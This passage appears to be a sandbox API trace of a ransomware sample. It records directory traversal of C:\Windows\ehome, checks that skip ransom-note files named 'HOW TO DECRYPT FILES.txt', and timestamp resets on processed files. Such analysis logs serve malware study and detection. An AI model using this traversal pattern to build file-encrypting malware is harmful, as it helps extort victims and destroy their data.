ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaaaf575e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cdcbbea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Symphony", cAlternateFileName="")) returned 1 [0127.239] lstrcmpA (lpString1=".", lpString2="Symphony") returned -1 [0127.239] lstrcmpA (lpString1="..", lpString2="Symphony") returned -1 [0127.239] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Styles\\PAL\\*.*") returned="*.*" [0127.240] FindFirstFileA (in: lpFileName="C:\\Windows\\ehome\\CreateDisc\\Styles\\PAL\\Symphony\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cda597b, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaaaf575e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cdcbbea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0127.240] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.240] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cda597b, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaaaf575e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cdcbbea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.240] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.240] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.240] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdcbbea, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaaaf575e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cdcbbea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Symphony", cAlternateFileName="")) returned 1 [0127.240] lstrcmpA (lpString1=".", lpString2="Symphony") returned -1 [0127.240] lstrcmpA (lpString1="..", lpString2="Symphony") returned -1 [0127.240] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Styles\\PAL\\Symphony\\*.*") returned="*.*" [0127.241] FindFirstFileA (in: lpFileName="C:\\Windows\\ehome\\CreateDisc\\Styles\\PAL\\Symphony\\Symphony\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdcbbea, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaaaf575e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cdcbbea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0127.241] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.241] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdcbbea, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaaaf575e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cdcbbea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.244] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.244] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.244] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd27166ae, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd27166ae, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xdfdd273b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x273c88, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Symphony.psd", cAlternateFileName="")) returned 1 [0127.245] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0127.245] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Symphony.psd") returned -1 [0127.245] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Symphony.psd") returned -1 [0127.245] lstrcmpiA (lpString1="", lpString2="Symphony.psd") returned -1 [0127.245] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Styles\\PAL\\Symphony\\Symphony\\*.*") returned="*.*" [0127.245] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\Styles\\PAL\\Symphony\\Symphony\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Styles\\PAL\\Symphony\\Symphony\\") returned="C:\\Windows\\ehome\\CreateDisc\\Styles\\PAL\\Symphony\\Symphony\\" [0127.245] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\Styles\\PAL\\Symphony\\Symphony\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\Styles\\PAL\\Symphony\\Symphony\\") returned="" [0127.247] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0127.247] CloseHandle (hObject=0x98) returned 1 [0127.250] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd27166ae, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd27166ae, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xdfdd273b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x273c88, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Symphony.psd", cAlternateFileName="")) returned 0 [0127.250] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0127.250] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd3a1c3, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xdfd3a1c3, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xdfd3a1c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5119, dwReserved0=0x4f4a52, dwReserved1=0x18001008, cFileName="Symphony.dvd", cAlternateFileName="")) returned 1 [0127.250] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0127.250] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Symphony.dvd") returned -1 [0127.250] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Symphony.dvd") returned -1 [0127.250] lstrcmpiA (lpString1="", lpString2="Symphony.dvd") returned -1 [0127.250] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Styles\\PAL\\Symphony\\*.*") returned="*.*" [0127.251] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\Styles\\PAL\\Symphony\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Styles\\PAL\\Symphony\\") returned="C:\\Windows\\ehome\\CreateDisc\\Styles\\PAL\\Symphony\\" [0127.251] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\Styles\\PAL\\Symphony\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\Styles\\PAL\\Symphony\\") returned="" [0127.253] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0127.254] CloseHandle (hObject=0x94) returned 1 [0127.254] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd3a1c3, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xdfd3a1c3, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xdfd3a1c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5119, dwReserved0=0x4f4a52, dwReserved1=0x18001008, cFileName="Symphony.dvd", cAlternateFileName="")) returned 0 [0127.254] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0127.254] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cda597b, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaaaf575e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cdcbbea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Symphony", cAlternateFileName="")) returned 0 [0127.254] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0127.254] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cda597b, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaaacf4ef, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cda597b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x54004e, dwReserved1=0x430053, cFileName="PAL", cAlternateFileName="")) returned 0 [0127.254] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0127.254] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cce6d50, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cda597b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x740073, dwReserved1=0x6c0079, cFileName="Styles", cAlternateFileName="")) returned 0 [0127.255] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0127.255] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x866fe302, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x866fe302, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x1589b300, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x3ce00, dwReserved0=0x4f4970, dwReserved1=0x18001008, cFileName="ehchhime.dll", cAlternateFileName="")) returned 1 [0127.255] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.255] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ehchhime.dll") returned -1 [0127.255] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ehchhime.dll") returned 1 [0127.255] lstrcmpiA (lpString1="", lpString2="ehchhime.dll") returned -1 [0127.255] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\*.*") returned="*.*" [0127.255] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\" | out: lpString1="C:\\Windows\\ehome\\") returned="C:\\Windows\\ehome\\" [0127.255] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\" | out: pszPath="C:\\Windows\\ehome\\") returned="" [0127.255] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8737d586, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8737d586, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x15b6dd80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14ca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehchsime.dll", cAlternateFileName="")) returned 1 [0127.255] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.255] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ehchsime.dll") returned -1 [0127.256] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ehchsime.dll") returned 1 [0127.256] lstrcmpiA (lpString1="", lpString2="ehchsime.dll") returned -1 [0127.256] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\ehchhime.dll") returned="ehchhime.dll" [0127.256] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\" | out: lpString1="C:\\Windows\\ehome\\") returned="C:\\Windows\\ehome\\" [0127.256] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\" | out: pszPath="C:\\Windows\\ehome\\") returned="" [0127.256] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8075566b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8075566b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x15b94e80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x13800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehchtime.dll", cAlternateFileName="")) returned 1 [0127.256] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.256] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ehchtime.dll") returned -1 [0127.256] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ehchtime.dll") returned 1 [0127.256] lstrcmpiA (lpString1="", lpString2="ehchtime.dll") returned -1 [0127.256] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\ehchsime.dll") returned="ehchsime.dll" [0127.256] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\" | out: lpString1="C:\\Windows\\ehome\\") returned="C:\\Windows\\ehome\\" [0127.256] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\" | out: pszPath="C:\\Windows\\ehome\\") returned="" [0127.257] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2f62289, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2f62289, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2f883e9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehCIR.dll", cAlternateFileName="")) returned 1 [0127.257] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.257] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ehCIR.dll") returned -1 [0127.257] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ehCIR.dll") returned 1 [0127.257] lstrcmpiA (lpString1="", lpString2="ehCIR.dll") returned -1 [0127.257] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd3e9f, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xf2bd3e9f, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xf2bf9ffd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcb740, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehcir.ird", cAlternateFileName="")) returned 1 [0127.257] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.257] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ehcir.ird") returned -1 [0127.258] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ehcir.ird") returned 1 [0127.258] lstrcmpiA (lpString1="", lpString2="ehcir.ird") returned -1 [0127.258] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64905c93, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x64905c93, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x22f65a90, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehcmres.dll", cAlternateFileName="")) returned 1 [0127.258] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.258] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ehcmres.dll") returned -1 [0127.258] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ehcmres.dll") returned 1 [0127.258] lstrcmpiA (lpString1="", lpString2="ehcmres.dll") returned -1 [0127.258] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x648dfb36, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x648dfb36, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x15b94e80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehdebug.dll", cAlternateFileName="")) returned 1 [0127.258] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.258] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ehdebug.dll") returned -1 [0127.259] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ehdebug.dll") returned 1 [0127.259] lstrcmpiA (lpString1="", lpString2="ehdebug.dll") returned -1 [0127.259] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x807a1925, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x807a1925, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x15b94e80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehdrop.dll", cAlternateFileName="")) returned 1 [0127.259] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.259] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ehdrop.dll") returned -1 [0127.259] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ehdrop.dll") returned 1 [0127.259] lstrcmpiA (lpString1="", lpString2="ehdrop.dll") returned -1 [0127.259] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81aac7a5, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x81aac7a5, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x15b94e80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehentt.dll", cAlternateFileName="")) returned 1 [0127.260] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.260] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ehentt.dll") returned -1 [0127.260] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ehentt.dll") returned 1 [0127.260] lstrcmpiA (lpString1="", lpString2="ehentt.dll") returned -1 [0127.260] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6568f8a2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x6568f8a2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x15b94e80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehepgnet.dll", cAlternateFileName="")) returned 1 [0127.260] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.260] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ehepgnet.dll") returned -1 [0127.260] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ehepgnet.dll") returned 1 [0127.260] lstrcmpiA (lpString1="", lpString2="ehepgnet.dll") returned -1 [0127.260] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x678a10d3, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x678a10d3, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x23152d30, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehepgres.dll", cAlternateFileName="")) returned 1 [0127.261] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.261] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ehepgres.dll") returned -1 [0127.261] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ehepgres.dll") returned 1 [0127.261] lstrcmpiA (lpString1="", lpString2="ehepgres.dll") returned -1 [0127.261] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2f62289, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2f62289, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2f62289, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehexthost.exe", cAlternateFileName="")) returned 1 [0127.261] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.261] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ehexthost.exe") returned -1 [0127.261] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ehexthost.exe") returned 1 [0127.261] lstrcmpiA (lpString1="", lpString2="ehexthost.exe") returned -1 [0127.261] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8981699d, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0x8981699d, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x87e7fdc9, ftLastWriteTime.dwHighDateTime=0x1ca03fd, nFileSizeHigh=0x0, nFileSizeLow=0x8e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehexthost.exe.config", cAlternateFileName="")) returned 1 [0127.262] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.262] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ehexthost.exe.config") returned -1 [0127.262] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ehexthost.exe.config") returned 1 [0127.262] lstrcmpiA (lpString1="", lpString2="ehexthost.exe.config") returned -1 [0127.262] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa325be0f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa325be0f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3281f6f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb9400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehglid.dll", 